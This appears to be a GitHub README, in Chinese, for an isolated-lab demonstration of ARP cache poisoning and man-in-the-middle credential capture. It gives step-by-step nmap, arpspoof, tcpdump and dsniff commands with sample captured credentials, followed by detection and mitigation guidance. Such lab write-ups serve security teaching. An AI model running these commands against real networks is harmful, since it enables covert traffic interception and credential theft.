vetementsvmnts/ARP-Spoofing-MITM

GitHub: vetementsvmnts/ARP-Spoofing-MITM

一个完整的ARP欺骗中间人攻击实验项目,在隔离虚拟环境中演示从网络侦察到HTTP明文凭证捕获的全链路攻击过程,并附有检测与防御方案。

Stars: 0 | Forks: 0

# ARP 欺骗与凭证拦截 一个实操性的攻击安全项目,演示了通过 ARP 缓存投毒进行中间人 攻击、流量拦截以及在未加密 HTTP 连接上获取明文凭证的过程。 ## 目录 - [实验环境](#lab-environment) - [前置条件](#prerequisites) - [攻击链](#attack-chain) - [1. 网络侦察](#1-network-reconnaissance) - [2. 启用 IP 转发](#2-enable-ip-forwarding) - [3. ARP 缓存投毒](#3-arp-cache-poisoning) - [4. 流量捕获](#4-traffic-capture) - [5. 凭证获取](#5-credential-harvesting) - [结果](#results) - [检测与缓解](#detection--mitigation) - [经验总结](#lessons-learned) - [参考资料](#references) ## 实验环境 | 组件 | 操作系统 | IP 地址 | MAC 地址 | |---|---|---|---| | 攻击者 | Kali Linux 2026.1 | `192.168.10.27` | `08:00:27:8a:35:d2` | | 受害者 | Ubuntu 16.04 | `192.168.10.221` | `08:00:27:91:b9:31` | | 网关 | VirtualBox 路由器 | `192.168.10.1` | — | **网络:** VirtualBox 内部网络(与主机和互联网完全隔离) **使用工具:** - `arpspoof` / `ettercap` — ARP 投毒 - `Wireshark` / `tcpdump` — 数据包捕获 - `dsniff` — 明文凭证嗅探 - `net-tools` / `nmap` — 侦察 ## 前置条件 ``` # 在 Kali 上安装所需工具 sudo apt update && sudo apt install -y \ dsniff ettercap-text-only wireshark nmap net-tools ``` ## 攻击链 ### 1. 网络侦察 在发起攻击之前,识别存活主机并确认目标的 IP/MAC 地址。 ``` # 发现子网上的主机 sudo nmap -sn 192.168.10.0/24 # 确认攻击机上的 ARP 表 arp -n ``` **预期输出:** 确认受害者 `192.168.10.221` 和网关 `192.168.10.1` 处于存活状态。 ### 2. 启用 IP 转发 启用 IP 转发可确保受害者的流量被中继到网关——保持连接活跃并使拦截过程透明化。 ``` # 启用 IPv4 转发(重启前持续有效) echo 1 | sudo tee /proc/sys/net/ipv4/ip_forward # 验证 cat /proc/sys/net/ipv4/ip_forward # 预期:1 ``` ### 3. ARP 缓存投毒 向受害者和网关发送免费 ARP 响应,将攻击者的 MAC 地址插入到它们的 ARP 缓存中。 ``` # 终端 1 — 告知受害者网关 IP 解析到我们的 MAC sudo arpspoof -i eth0 -t 192.168.10.221 192.168.10.1 # 终端 2 — 告知网关受害者 IP 解析到我们的 MAC sudo arpspoof -i eth0 -t 192.168.10.1 192.168.10.221 ``` **在受害者机器上验证:** ``` # 攻击前 arp -n # 192.168.10.1 ether # 攻击后 arp -n # 192.168.10.1 ether 08:00:27:8a:35:d2 ← 现在指向攻击者 ``` ### 4. 流量捕获 当攻击者位于流量传输的中间位置时,捕获数据包以供分析。 ``` # 将经过攻击者接口的所有流量捕获到文件 sudo tcpdump -i eth0 -w capture.pcap # 或者使用 Wireshark 进行实时检查 sudo wireshark -i eth0 ``` ### 5. 凭证获取 使用 `dsniff` 自动解析并从捕获的流量流中提取明文凭证。 ``` sudo dsniff -i eth0 ``` 当受害者通过 HTTP 提交登录表单时,凭证将显示在终端中: ``` dsniff: listening on eth0 ------------- DATE TIME 192.168.10.221 -> 192.168.10.x http://target-site.local/login USER admin PASS p@ssw0rd123 ------------- ``` 或者,在 Wireshark 中使用以下过滤器对 `.pcap` 文件进行筛选: ``` http.request.method == "POST" ``` 然后在 *HTML Form URL Encoded* 下检查数据包主体以查看提交的字段值。 ## 结果 | 步骤 | 结果 | |---|---| | ARP 投毒 | 成功投毒受害者 ARP 缓存;确认攻击者为 MitM | | IP 转发 | 流量透明中继;受害者连接保持稳定 | | 数据包捕获 | 捕获了完整的 TCP 流,包含 HTTP POST 请求 | | 凭证获取 | 从 HTTP 登录表单中恢复了明文用户名和密码 | ## 检测与缓解 ### 如何检测 ARP 欺骗 | 方法 | 工具 / 命令 | |---|---| | 监控 ARP 表中是否有重复的 MAC 地址 | `arp -n` / `arpwatch` | | 对未经请求的 ARP 响应发出警报 | `Snort` / `Suricata` 及 ARP 规则 | | 检查 ARP 流量异常 | Wireshark 过滤器:`arp.duplicate-address-detected` | ### 缓解措施 - **全面使用 HTTPS** — TLS 加密使得即使 MitM 攻击成功,嗅探到的流量也无法被读取。这是最有效的一项控制措施。 - **动态 ARP 检测 (DAI)** — 可管理交换机可以结合 DHCP 侦听绑定表来验证 ARP 数据包,并丢弃欺骗性的响应。 - **静态 ARP 条目** — 对于关键主机(例如网关),设置无法被欺骗性响应覆盖的静态 ARP 条目。 - **网络分段** — VLAN 和私有 VLAN 将基于 ARP 的攻击的影响范围限制在单一的广播域内。 - **VPN / 加密隧道** — 无论二层网络条件如何,都会对流量进行端到端加密。 - **端口安全** — 限制每个交换机端口允许的 MAC 地址数量,以防止为某些 ARP 攻击提供便利的 MAC 泛洪行为。 ## 经验总结 1. **HTTP 对任何敏感信息来说都是极不安全的。** 在任何 MitM 场景中,通过 HTTP 传输的凭证都极易被捕获。即使是自签名的 TLS 也比这安全几个数量级。 2. **ARP 没有身份验证机制。** 该协议设计于可信任网络时代。如果没有交换机层的补偿控制措施,它仍然极易被滥用。 3. **透明转发是隐蔽性的关键。** 如果不启用 `ip_forward`,受害者的连接会断开,从而立即引起他们对问题的警觉。真正的攻击者总是会中继流量。 4. **检测是可行的,但往往被错误配置。** 像 `arpwatch` 这样的工具虽然有效,但在小型环境中很少被部署或监控。 ## 参考资料 - [RFC 826 — An Ethernet Address Resolution Protocol](https://datatracker.ietf.org/doc/html/rfc826) - [dsniff — 网络审计与渗透测试工具](https://www.monkey.org/~dugsong/dsniff/) - [Wireshark 用户指南](https://www.wireshark.org/docs/wsug_html/) - [OWASP — ARP 投毒测试](https://owasp.org/www-project-web-security-testing-guide/) - [NIST SP 800-115 — 信息安全测试技术指南](https://csrc.nist.gov/publications/detail/sp/800-115/final) *本项目仅供教育目的。在对任何网络或系统进行测试之前,请务必获得书面授权。*
标签:ARP欺骗, ARP缓存投毒, dsniff, Ettercap, HTTP凭证窃取, IP转发, Nmap, Python, TGT, Wireshark, 中间人攻击, 句柄查看, 安全实验, 攻防演练, 无后门, 流量劫持, 网络嗅探, 网络安全, 虚拟环境, 虚拟驱动器, 逆向工具, 防御绕过, 隐私保护